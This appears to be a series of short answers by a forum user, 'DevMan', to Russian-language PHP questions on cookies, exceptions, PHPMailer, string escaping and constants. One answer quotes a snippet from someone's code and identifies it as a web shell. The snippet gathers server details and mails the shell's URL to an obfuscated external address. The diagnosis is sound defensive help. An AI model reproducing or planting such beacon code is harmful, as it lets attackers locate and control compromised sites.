DevMan

это уже json.

$web = $_SERVER["HTTP_HOST"];
$path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
$contact = base64_decode("cG9ydG92amFja0BnbWFpbC5jb20=");
$body = "\nUname: ".php_uname()."\nPath Dir: ".$cwd = getcwd()."\nMessage:\n"."\nE-Path: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-Domain: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\nShell: http://$web$path\n\nIP: $ip";
mail("$contact","Result Shell in [http://$web]", "$body");

классический шел. как минимум.

отправляйте коменты аяксом.
или сделайте на странице якорь и редиректе на него.

1. выводить печеньку сразу после установки не имеет смысла – она будет доступна только после перезагрузки страницы.
2. просто проверить существует печенька или нет перед ее установкой.
3. прекратить использовать короткие теги.

исключения не выбрасываются просто так, они выбрасываются при каких–то условиях.

try {
	if(! file_exists($file)) {
		throw new Exception('file not exist');
	}
} catch (Exception $e) {
	echo $e->getMessage();
  exit;
}

не имеет смысла, поскольку спокойно сокращается до

if(! file_exists($file)) {
	exit('file not exist');
}

PHPmailer никак не зависит от мамп/опенсервер/ etc.

https://ospanel.io/docs/#smtp и указываете данные своего smtp (хоть любого сервиса, хоть локально поднимите).
или укажите сохранять письма в папку, а в настойках PHPmailer не используйте smtp.

или перезагружайте страницу, или при загрузке включайте курсы на страницу и пересчитывайте на клиенте при выборе валюты.

затем, что корневой каталог имеет свойство меняться.
да и dirname(__FILE__) прекрасно заменяется на __DIR__

из того, что еще не отметили:
1. непоследовательность в код-стайле. не критично, но глаз режет.
2. шаблонизаторы? не, не слышал. вот это уже плохо.
3. роуты - шняга, куча дублирующих строк. при подобном подходе, они и не нужны, можно все описать в реврайтах веб-сервера.

в целом: для новичка вполне неплохо. если писали сами, а не копипастили.

много чего не так: только в первой строке минимум две ошибки, дальше ковырять неохота.
читайте про экранирование строк.

""" – ошибка, должно быть "\"" или '"'
"\" – ошибка, должно быть "\\"
и все такое

1. нет. она не попадает под лимит (как минимум в никсах).
2. этот вопрос жевался не раз. если вам нужны большие файлы, вам нужны большие файлы: нет смысла придумывать порционную загрузку, достаточно нужных лимитов в настройках пхп/вэб-сервера.

php
хотя бы вы cli режиме.

https://www.php.net/manual/ru/function.glob.php

хэши вообще не расшифровываются. это раз.
соль рандомная, что делает бессмысленным подбор по заранее подготовленным таблицам. это два.
в вопросе какие–то дикие фантазии. это три.

https://ideone.com/2UZmjk

пхп выполняется на сервере, ему пофигу включен жс или нет.
и на все теги ему тоже пофиг.

ошибка говорит сама за себя: не установлено расширение simplexml для php.

заменить
echo $value['tarif'];
на
print_r(json_decode($value['tarif'], true));

пхп тут вообще не при делах.

это название констант, которые создает писатель этого кода.

define("ROOT", dirname(__DIR__));
define("PATH", $app_path);

https://www.php.net/manual/ru/function.define.php

https://ideone.com/BIcnv9

foreach(range(7, 1) as $i) {
	echo "Осталось {$i} секунд";
	switch($i) {
		case($i >= 2 && $i <=4):
			echo "ы";
			break;
		case($i == 1):
			echo "а";			
	}
	echo "...", PHP_EOL;
	sleep(1);
}
echo "Готово!";